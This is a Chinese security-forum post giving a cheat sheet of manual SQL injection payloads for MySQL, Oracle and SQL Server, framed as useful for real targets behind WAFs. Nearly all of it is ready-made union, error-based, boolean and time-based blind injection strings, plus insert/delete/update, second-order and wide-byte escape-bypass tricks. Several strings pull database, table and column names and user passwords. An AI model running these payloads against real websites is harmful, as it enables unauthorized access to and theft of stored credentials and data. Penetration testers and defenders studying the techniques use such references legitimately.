安全矩阵

 找回密码
 立即注册
搜索
查看: 4137|回复: 0

SQL手工注入总结

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-9-17 19:11:29 | 显示全部楼层 |阅读模式
原文链接:SQL手工注入总结

0x00 前言
虽说目前互联网上已经有很多关于 sql 注入的神器了,但是在这个 WAF 横行的时代,手工注入往往在一些真实环境中会显得尤为重要。本文主要把以前学过的知识做个总结,不会有详细的知识解读,类似于查询手册的形式,便于以后的复习与查阅,文中内容可能会存在错误,望师傅们斧正!

0x01 Mysql 手工注入1.1 联合注入
  1. ?id=1' order by 4--+
  2. ?id=0' union select 1,2,3,database()--+
  3. ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
  4. ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
  5. #group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name

  6. ?id=0' union select 1,2,3,group_concat(password) from users --+
  7. #group_concat 可替换为 concat_ws(',',id,users,password )

  8. ?id=0' union select 1,2,3,password from users limit 0,1--+
复制代码

1.2 报错注入
  1. 1.floor()
  2. select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

  3. 2.extractvalue()
  4. select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

  5. 3.updatexml()
  6. select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

  7. 4.geometrycollection()
  8. select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

  9. 5.multipoint()
  10. select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

  11. 6.polygon()
  12. select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

  13. 7.multipolygon()
  14. select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

  15. 8.linestring()
  16. select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

  17. 9.multilinestring()
  18. select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

  19. 10.exp()
  20. select * from test where id=1 and exp(~(select * from(select user())a));
复制代码

每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
  1. 爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- +
  2. 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- +
  3. 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- +
  4. 爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- +

  5. #concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1)
复制代码
这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
  1. substr(string string,num start,num length);
  2. #string为字符串,start为起始位置,length为长度

  3. ?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- +
复制代码

1.3 盲注1.3.1 时间盲注
时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
  1. #if(expre1,expre2,expre3)
  2. 当 expre1 为 true 时,返回 expre2,false 时,返回 expre3

  3. #盲注的同时也配合着 mysql 提供的分割函
  4. substr、substring、left
复制代码
我们一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
  1. ?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5))--+
  2. ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1)--+
复制代码
1.3.2 布尔盲注
  1. ?id=1' and substr((select user()),1,1)='r' -- +
  2. ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- +
  3. #如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值

  4. ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- +
  5. #若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
复制代码

1.4 insert,delete,update
insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
1.4.1 报错
  1. mysql> insert into admin (id,username,password) values (2,"or updatexml(1,concat(0x7e,(version())),0) or","admin");
  2. Query OK, 1 row affected (0.00 sec)

  3. mysql> select * from admin;
  4. +------+-----------------------------------------------+----------+
  5. | id   | username                                      | password |
  6. +------+-----------------------------------------------+----------+
  7. |    1 | admin                                         | admin    |
  8. |    1 | and 1=1                                       | admin    |
  9. |    2 | or updatexml(1,concat(0x7e,(version())),0) or | admin    |
  10. +------+-----------------------------------------------+----------+
  11. 3 rows in set (0.00 sec)

  12. mysql> insert into admin (id,username,password) values (2,""or updatexml(1,concat(0x7e,(version())),0) or"","admin");
  13. ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'

  14. #delete 注入很危险,很危险,很危险,切记不能使用 or 1=1 ,or 右边一定要为false
  15. mysql> delete from admin where id =-2 or updatexml(1,concat(0x7e,(version())),0);
  16. ERROR 1105 (HY000): XPATH syntax error: '~5.5.53'
复制代码

1.4.2 盲注
  1. #int型 可以使用 运算符 比如 加减乘除 and or 异或 移位等等
  2. mysql> insert into admin values (2+if((substr((select user()),1,1)='r'),sleep(5),1),'1',"admin");
  3. Query OK, 1 row affected (5.00 sec)

  4. mysql> insert into admin values (2+if((substr((select user()),1,1)='p'),sleep(5),1),'1',"admin");
  5. Query OK, 1 row affected (0.00 sec)

  6. #字符型注意闭合不能使用and
  7. mysql> insert into admin values (2,''+if((substr((select user()),1,1)='p'),sleep(5),1)+'',"admin");
  8. Query OK, 1 row affected (0.00 sec)

  9. mysql> insert into admin values (2,''+if((substr((select user()),1,1)='r'),sleep(5),1)+'',"admin");
  10. Query OK, 1 row affected (5.01 sec)

  11. # delete 函数 or 右边一定要为 false
  12. mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r4'),sleep(5),0);
  13. Query OK, 0 rows affected (0.00 sec)

  14. mysql> delete from admin where id =-2 or if((substr((select user()),1,1)='r'),sleep(5),0);
  15. Query OK, 0 rows affected (5.00 sec)

  16. #update 更新数据内容
  17. mysql> select * from admin;
  18. +------+----------+----------+
  19. | id   | username | password |
  20. +------+----------+----------+
  21. |    2 | 1        | admin    |
  22. |    2 | 1        | admin    |
  23. |    2 | 1        | admin    |
  24. |    2 | admin    | admin    |
  25. +------+----------+----------+
  26. 4 rows in set (0.00 sec)

  27. mysql> update admin set id="5"+sleep(5)+"" where id=2;
  28. Query OK, 4 rows affected (20.00 sec)
  29. Rows matched: 4  Changed: 4  Warnings: 0
复制代码

1.5 二次注入与宽字节注入
二次注入的语句:在没有被单引号包裹的sql语句下,我们可以用16进制编码他,这样就不会带有单引号等。
  1. mysql> insert into admin (id,name,pass) values ('3',0x61646d696e272d2d2b,'11');
  2. Query OK, 1 row affected (0.00 sec)

  3. mysql> select * from admin;
  4. +----+-----------+-------+
  5. | id | name      | pass  |
  6. +----+-----------+-------+
  7. |  1 | admin     | admin |
  8. |  2 | admin'111 | 11111 |
  9. |  3 | admin'--+ | 11    |
  10. +----+-----------+-------+
  11. 4 rows in set (0.00 sec)
复制代码

二次注入在没有源码的情况比较难发现,通常见于注册,登录恶意账户后,数据库可能会因为恶意账户名的问题,将 admin'--+ 误认为 admin 账户

宽字节注入:针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入

  1. id=-1%df' union select...

  2. #没使用宽字节
  3. %27 -> %5C%27

  4. #使用宽字节
  5. %df%27 -> %df%5c%27 -> 運'
复制代码

0x02 Oracle 手工注入2.1 联合注入
  1. ?id=-1' union select user,null from dual--
  2. ?id=-1' union select version,null from v$instance--
  3. ?id=-1' union select table_name,null from (select * from (select rownum as limit,table_name from user_tables) where limit=3)--
  4. ?id=-1' union select column_name,null from (select * from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=2)--
  5. ?id=-1' union select username,passwd from users--
  6. ?id=-1' union select username,passwd from (select * from (select username,passwd,rownum as limit from users) where limit=3)--
复制代码
2.2 报错注入
  1. ?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))--
  2. ?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))--
  3. ?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))--
  4. ?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))--
  5. ?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))--
复制代码

2.3 盲注2.3.1 布尔盲注
既然是盲注,那么肯定涉及到条件判断语句,Oracle除了使用IF the else end if这种复杂的,还可以使用 decode() 函数。
语法:decode(条件,值1,返回值1,值2,返回值2,...值n,返回值n,缺省值);
该函数的含义如下:
  1. IF 条件=值1 THEN
  2.     RETURN(返回值1)
  3. ELSIF 条件=值2 THEN
  4.     RETURN(返回值2)
  5.     ......
  6. ELSIF 条件=值n THEN
  7.     RETURN(返回值n)
  8. ELSE
  9.     RETURN(缺省值)
  10. END IF
复制代码
  1. ?id=1' and 1=(select decode(user,'SYSTEM',1,0,0) from dual)--
  2. ?id=1' and 1=(select decode(substr(user,1,1),'S',1,0,0) from dual)--
  3. ?id=1' and ascii(substr(user,1,1))> 64--  #二分法
复制代码

2.3.2 时间盲注
可使用DBMS_PIPE.RECEIVE_MESSAGE('任意值',延迟时间)函数进行时间盲注,这个函数可以指定延迟的时间
  1. ?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
  2. ?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end)--
复制代码

0x03 SQL server 手工注入3.1 联合注入
  1. ?id=-1' union select null,null--
  2. ?id=-1' union select @@servername, @@version--
  3. ?id=-1' union select db_name(),suser_sname()--
  4. ?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null--
  5. ?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null--
  6. ?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null--
  7. ?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null---
  8. ?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null--
复制代码

3.2 报错注入
  1. ?id=1' and 1=(select 1/@@servername)--
  2. ?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases))--
复制代码

3.3 盲注3.3.1 布尔盲注
  1. ?id=1' and ascii(substring((select db_ name(1)),1,1))> 64--
复制代码
3.3.2 时间盲注

  1. ?id= 1';if(2>1) waitfor delay '0:0:5'--
  2. ?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) waitfor delay '0:0:2'--
复制代码














回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 15:47 , Processed in 0.016548 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表